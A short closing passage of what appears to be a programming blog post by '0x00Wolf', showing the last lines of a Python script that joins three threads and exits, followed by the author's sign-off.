t1.join()
t2.join()
t3.join()
print('exiting')
sys.exit()Explanations are in the comments! That's it for this post.
-0x00Wolf